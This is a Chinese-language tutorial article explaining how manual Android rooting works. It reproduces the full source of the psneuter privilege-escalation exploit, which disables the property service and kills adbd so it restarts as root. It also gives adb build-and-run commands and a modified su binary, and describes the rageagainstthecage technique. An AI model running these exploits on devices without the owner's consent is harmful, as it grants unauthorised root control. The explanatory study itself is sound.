关于手动提取Android手机root权限原理的解析
关于如何去获取Android手机root权限的教程网上很多,但是千篇一律,他们都是使用相同或者类似的工具执行相同或者类似的流程。
千篇一律的提取权限流程:
- 获取临时root权限 (使用adb工具来上传几个必要的工具,psneuter、su和superuser.apk,修改psneuter的权限并且执行以提取临时root权限)
- 拷贝su和superuser.apk到系统目录(有root权限的前提下完成)
- 安装RE(RootExplorer)来检查是否正常获取到root权限。
在这篇文章我想分析的是,在提取root权限的过程中使用到的这些工具或者文件到底是做什么的,然后再联系每个步骤说明为整个过程。
1. 工具分析
1.1 psneuter
源文件地址:https://github.com/tmzt/g2root-kmod/blob/master/scotty2/psneuter/psneuter.c
// psneuter.c, written by scotty2. // neuter the android property service. // ashmem allows us to restrict permissions for a page further, but not relax them. // adb relies on the ability to read ro.secure to know whether to drop its privileges or not; // if it can't read the ro.secure property (because perhaps it couldn't map the ashmem page... :) // then it will come up as root under the assumption that ro.secure is off. // this will have the unfortunate side effect of rendering any of the bionic userspace that relies on the property // service and things like dns broken. // thus, we will want to use this, see if we can fix the misc partition, and downgrade the firmware as a whole to something more root friendly. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <sys/types.h> #include <linux/ioctl.h> #include <signal.h> #include <unistd.h> #include <fcntl.h> #include <dirent.h> #include <stdint.h> #define ASHMEM_NAME_LEN 256 #define __ASHMEMIOC 0x77 #define ASHMEM_SET_NAME _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN]) #define ASHMEM_GET_NAME _IOR(__ASHMEMIOC, 2, char[ASHMEM_NAME_LEN]) #define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t) #define ASHMEM_GET_SIZE _IO(__ASHMEMIOC, 4) #define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long) #define ASHMEM_GET_PROT_MASK _IO(__ASHMEMIOC, 6) #define ASHMEM_PIN _IOW(__ASHMEMIOC, 7, struct ashmem_pin) #define ASHMEM_UNPIN _IOW(__ASHMEMIOC, 8, struct ashmem_pin) #define ASHMEM_GET_PIN_STATUS _IO(__ASHMEMIOC, 9) #define ASHMEM_PURGE_ALL_CACHES _IO(__ASHMEMIOC, 10) int main(int argc, char **argv, char **envp) { char *workspace; char *fdStr; char *szStr; char *ppage; int fd; long sz; DIR *dir; struct dirent *dent; char cmdlinefile[PATH_MAX]; char cmdline[PATH_MAX]; pid_t adbdpid = 0; setvbuf(stdout, 0, _IONBF, 0); setvbuf(stderr, 0, _IONBF, 0); //获取环境变量ANDROID_PROPERTY_WORKSPACE的值,比如9,32768代表句柄为9,大小为32768的内存区域。 workspace = getenv("ANDROID_PROPERTY_WORKSPACE"); if(!workspace) { fprintf(stderr, "Couldn't get workspace.\n"); exit(1); } fdStr = workspace; if(strstr(workspace, ",")) *(strstr(workspace, ",")) = 0; else { fprintf(stderr, "Incorrect format of ANDROID_PROPERTY_WORKSPACE environment variable?\n"); exit(1); } szStr = fdStr + strlen(fdStr) + 1; fd = atoi(fdStr); sz = atol(szStr); //使用mmap将刚ANDROID_PROPERTY_WORKSPACE的值映射到ppage if((ppage = mmap(0, sz, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) { fprintf(stderr, "mmap() failed. %s\n", strerror(errno)); exit(1); } //使用ioctl将Ashmem共享内存设置为不可读写。 if(ioctl(fd, ASHMEM_SET_PROT_MASK, 0)) { fprintf(stderr, "Failed to set prot mask (%s)\n", strerror(errno)); exit(1); } printf("property service neutered.\n"); printf("killing adbd. (should restart in a second or two)\n"); // now kill adbd. //杀死当前的adbd进程,等待init进程重启adbd进程。 dir = opendir("/proc"); if(!dir) { fprintf(stderr, "Failed to open /proc? kill adbd manually... somehow\n"); exit(1); } while((dent = readdir(dir))) { if(strspn(dent->d_name, "0123456789") == strlen(dent->d_name)) { // pid dir strcpy(cmdlinefile, "/proc/"); strcat(cmdlinefile, dent->d_name); strcat(cmdlinefile, "/cmdline"); if((fd = open(cmdlinefile, O_RDONLY)) < 0) { fprintf(stderr, "Failed to open cmdline for pid %s\n", dent->d_name); continue; } if(read(fd, cmdline, PATH_MAX) < 0) { fprintf(stderr, "Failed to read cmdline for pid %s\n", dent->d_name); close(fd); continue; } close(fd); // printf("cmdline: %s\n", cmdline); if(!strcmp(cmdline, "/sbin/adbd")) { // we got it. adbdpid = atoi(dent->d_name); break; } } } if(!adbdpid) { fprintf(stderr, "Failed to find adbd pid :(\n"); exit(1); } if(kill(adbdpid, SIGTERM)) { fprintf(stderr, "Failed to kill adbd (%s)\n", strerror(errno)); exit(1); } return 0; }make和run的脚本:
#make #!/bin/sh arm-linux-gnueabi-gcc -opsneuter -static psneuter.c #run adb push psneuter /data/local/tmp adb shell /data/local/tmp/psneuter sleep 5 adb shell
1.2 su
/* ** Licensed under the Apache License, Version 2.0 (the "License"); ** you may not use this file except in compliance with the License. ** You may obtain a copy of the License at ** ** http://www.apache.org/licenses/LICENSE-2.0 ** ** Unless required by applicable law or agreed to in writing, software ** distributed under the License is distributed on an "AS IS" BASIS, ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ** See the License for the specific language governing permissions and ** limitations under the License. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <dirent.h> #include <errno.h> #include <sys/stat.h> #include <unistd.h> #include <time.h> #include <pwd.h> static int executionFailure(char *context) { fprintf(stderr, "su: %s. Error:%s\n", context, strerror(errno)); return -errno; } static int permissionDenied() { // the superuser activity couldn't be started printf("su: permission denied\n Fail to call setuid or setgid\nPls check permission!!\nchmod 6755 su\n"); return 1; } int main(int argc, char **argv) { //运行su需要超级权限,6755 if(setgid(0) || setuid(0)) { return permissionDenied(); } char *exec_args[argc + 1]; exec_args[argc] = NULL; exec_args[0] = "sh"; int i; for (i = 1; i < argc; i++) { exec_args[i] = argv[i]; } execv("/system/xbin/su", exec_args); return executionFailure("sh"); }
1.3 superuser.apk
TBD
1.4 rootexplorer.apk
TBD
2. 流程分析
2.1 获取临时root权限
adbd进程是运行在手机上的一个守护进程,他负责解释并运行PC传送过来的命令为开发者提供调试服务。该进程由init进程创建,但是创建后自身通过setuid系统调用设置运行的用户为shell用户。所以我们在手机中执行ps命令看到的adbd进程是以shell用户身份运行的。
如下图ps执行结果的倒数第三行所示:
获取root权限的关键就是想办法让adbd进程重新以root身份运行,这样通过电脑送过来的命令也就能够以root身份运行了。我们期盼如下的结果:
那么如何达到这一结果便成了提取root权限的关键所在。目前网上流传的有两种方法以达到这一目的:
1,让adbd重启,同时读取property失败,即使adbd:main中对于ro.secure为否。这种情况下便不会运行setuid来降至shell用户。
2,让adbd重启,读取property正常,尝试使setuid运行失败,便可以保持root用户身份。网上使用rageagainstthecage程序来达到这一目的的就是这个原理。(杀死adbd之后,以shell用户身份创建足够多的进程-系统允许的每个用户最大进程数,然后setuid便会运行失败)
本文中第1.1节介绍的psneuter即是利用第一种原理达到目的的,详见代码注释部分。
2.2 利用临时root权限更改系统文件
在adbd获取临时root权限的时机下,adb通过pc连接到adbd便也同理是root用户。接下来便通过此root权限将伪造的su:4755(切换用户的系统命令)修改到系统文件夹之下(通常为/system/bin或者/system/xbin)以便日后使用。同理superuser.apk:644也被放置在系统分区之下。